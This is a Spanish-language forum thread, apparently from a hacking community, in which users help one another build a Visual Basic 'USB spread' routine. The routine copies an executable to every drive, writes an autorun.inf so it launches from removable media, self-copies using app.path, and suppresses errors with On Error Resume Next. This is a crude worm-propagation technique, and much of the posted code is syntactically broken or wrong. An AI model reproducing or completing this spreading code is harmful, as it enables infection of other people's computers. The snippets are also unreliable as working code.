Buenoo... pues.. sty trabajndo en un spread usb pero manual, es decir yo activo el exe de cuando copiarse, y utilizo el filecopy, copio los archivos a todas las unidades (menos a las mias xD) y el problema es ke, cuando no encuentra una ruta da el error (cosa ke veo normal) pero lo que kiero es ke pase del error y siga con la siguiente unidad, y si no hay, ke valla a la suigiente... ¿me entendeis?...
pues.. solo pido ayuda sobre esto, creo ke es muy facil, pero yo no se nada de vb...
GRACIAS
asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)
que mal explico
saludos
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)
Código: Seleccionar todo
On Error GoTo siguiente
filecopy "c:/blabla.exe" ," f:/blabla.exe "
siguiente:
filecopy "c:/blabla.exe" ," g:/blabla.exe "
saludos
http://www.freundt-esta-aburrido.blogspot.com
al-hacker escribió:asi es la idea :
on error (si hay error) goto (ir a) siguiente(línea especificada debe estar en el mismo procedimiento que la instrucción On Error)
que mal explicoCódigo: Seleccionar todo
On Error GoTo siguiente filecopy "c:/blabla.exe" ," f:/blabla.exe " siguiente: filecopy "c:/blabla.exe" ," g:/blabla.exe "
saludos
esto no quedaria bien, supongamos que hay mas lineas abajo de copiarse, como crear el autorun.inf
Código: Seleccionar todo
On Error GoTo siguiente
filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
siguiente:
filecopy "c:/blabla.exe" ," g:/blabla.exe "
Código: Seleccionar todo
Private Sub spread_Timer()
on error resume next
filecopy "c:/blabla.exe" ," f:/blabla.exe "
Dim canalLibre As Integer
canalLibre = FreeFile
Open "f:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
filecopy "c:/blabla.exe" ," g:/blabla.exe "
Open "g:\autorun.inf" For Output As #canalLibre
Print #canalLibre,autorun
Close #canalLibre
....
end subCreo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.
PD:el autorun.inf ya esta escrito, es solo copiarlo.
AdRpsp escribió:Creo que soy un catetooo No entiendo ningunoo... pero gracias !!!
PD:el autorun.inf ya esta escrito, es solo copiarlo.
Copiar un archivo, ( así mismo )
Filecopy app.path & "\", app.paht "archivo final.exe"
Eso hace que se autocopie con otro nombre.
Ahora , que se copie ah otro lugar:
Filecopy app.path & "\" & app.exename & ".exe", C:\archivo.exe
( creo que era así ) eso hace que te autocopies a C:\archivo.exe
http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png
http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png
http://www.youtube.com/watch?v=wHYYkciIKE0
No es autocopiado, es copiado solo xD y el problema es los errores, los que salen si no encuentran la unidad de destino
ok:
If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:
y así sucesivamente..
If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:
y así sucesivamente..
http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png
http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png
http://www.youtube.com/watch?v=wHYYkciIKE0
Eso está mal, seria algo asi :xpro escribió:ok:
If C:\ = "" Then
MsgBox " La unidad existe "
Else
Goto Error next siguiente
End if
siguiente:
If F:\ = "" Then
Msgbox " la unidaad existe"
Else
Goto Error next siguiente2
Siguiente2:
y así sucesivamente..
If Dir("C:\",vbDirectory) <> "" Then
MsgBox " La unidad existe "
Else
Goto Error next Siguiente
End if
Siguiente:
If Dir("F:\",vbDirectory) <> "" Then
Msgbox " la unidaad existe"
Else
Goto Error next Siguiente2
Siguiente2:
Saludos!
si señor , es cierto.
http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png
http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png
http://www.youtube.com/watch?v=wHYYkciIKE0
Google:
Y sanlegas es el que más se arrimó a la solución al proponer FreeFile...
Código: Seleccionar todo
On Error Resume Next
(MD5 checksum error.)
